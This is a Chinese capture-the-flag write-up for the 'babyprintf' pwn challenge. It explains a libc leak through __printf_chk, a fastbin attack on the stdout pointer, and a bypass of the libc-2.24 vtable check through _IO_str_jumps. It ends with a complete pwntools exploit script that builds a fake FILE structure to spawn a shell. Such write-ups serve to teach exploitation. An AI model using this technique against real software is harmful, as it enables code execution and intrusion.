babyprintf

点击此处获得更好的阅读体验


WriteUp 来源

https://xz.aliyun.com/t/1589

题目考点

解题思路

题目只有malloc和一个printf_chk,printf_chk和printf不同的地方有两点:

不能使用$n不连续的打印 在使用%n的时候会做一系列检查 虽然如此,但leak libc地址还是可以的。这个我想大部分人都想到了。

然后重点就是如何使用程序唯一的堆溢出。没有free的问题 可以通过free topchunk解决,然后很多选手在这都使用了unsortedbin attack拿到shell。

如何通过unsortedbin attack利用我就不多说了, 应该会有其他wp放出。我说一下如何利用 fastbin attack解决这个问题。首先我们能free 一个top chunk,然后有了第一个就能有第二个,不断申请内存或者覆盖top chunk的size可以很轻易的做到这点。同时,我们可以另下面那个的size为0x41,之后申请上面那个堆块就能把下面这个fastbin覆盖了。通过这个0x41的fastbin attack, 我们可以覆盖到位于data段上的stdout指针,具体如下

1
2
3
4
5
6
7
--------------------            --------------------
freed chunk1 alloced
-------------------- --------------------
dummy -> overflow
-------------------- --------------------
freed chunk2(0x41) chunk2->fd=target
-------------------- --------------------

当然libc中是存在onegadget的,所以也有人直接去覆盖malloc_hook,这些都可以

然后一个比较蛋疼的是libc-2.24的问题,因它为加入了新的对vtable的检验机制。如何绕过呢?这个方法很多,只要记得一点,我们已经能控制“整个“FILE结构体,这点如果稍微去看下源码的话应该能找到很多方法,这里提供一个替换vtable( _IO_file_jumps)到另一个vtable( _IO_str_jumps), 利用两个vtable defalut方法的不同拿到shell的解题脚本(偏移请自行更改)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context.log_level='debug'

def pr(size,data):
p.sendline(str(size))
p.recv()
p.sendline(data)
p.recvuntil('result: ')
return p.recvuntil('size: ')[:-5]

p = process('./babyprintf')
p.recvuntil('size: ')
for i in range(32):
pr(0xff0,'a')
p.sendline('0xe00')
p.recv()
p.sendline('%llx')
p.recvuntil('result: ')
libc_addr = int('0x'+p.recv(12),16)-0x3c6780
print 'libc: ',hex(libc_addr)
p.recvuntil('size: ')
pr(8,'a'*0x18+p64(0x1d1))
pr(0x1d0,'1')
pr(0x130,'1')
pr(0xd00,'1')
pr(0xa0,'a'*0xa8+p64(0x61))
pr(0x200,'a')
p.sendline('0x60')
p.recvuntil('string: ')
p.sendline('\x00'*0x2028+p64(0x41)+p64(0x601062))
p.recv()
pr(0x30,'a')

system_addr = libc_addr + 0x45390
sh_addr = libc_addr + 0x18cd17
malloc_addr = libc_addr + 0x84130
vtable_addr = libc_addr+0x3c37a0

flag=2|0x8000
fake_stream = p64(flag)+p64(0)
fake_stream += p64(0)*2
fake_stream += p64(0)
fake_stream += p64(0x7fffffffffffffff)
fake_stream = fake_stream.ljust(0x38,'\x00')
fake_stream += p64(sh_addr)
fake_stream += p64(sh_addr)
fake_stream = fake_stream.ljust(0xc0,'\x00')
fake_stream += p64(0xffffffffffffffff)
fake_stream = fake_stream.ljust(0xd8,'\x00')
fake_stream += p64(vtable_addr)
fake_stream += p64(malloc_addr) #alloc
fake_stream += p64(system_addr) #hook free
p.sendline('0x30')
p.sendline('a'*14+p64(0x601090)+p64(0)+fake_stream)

p.interactive()

Flag

1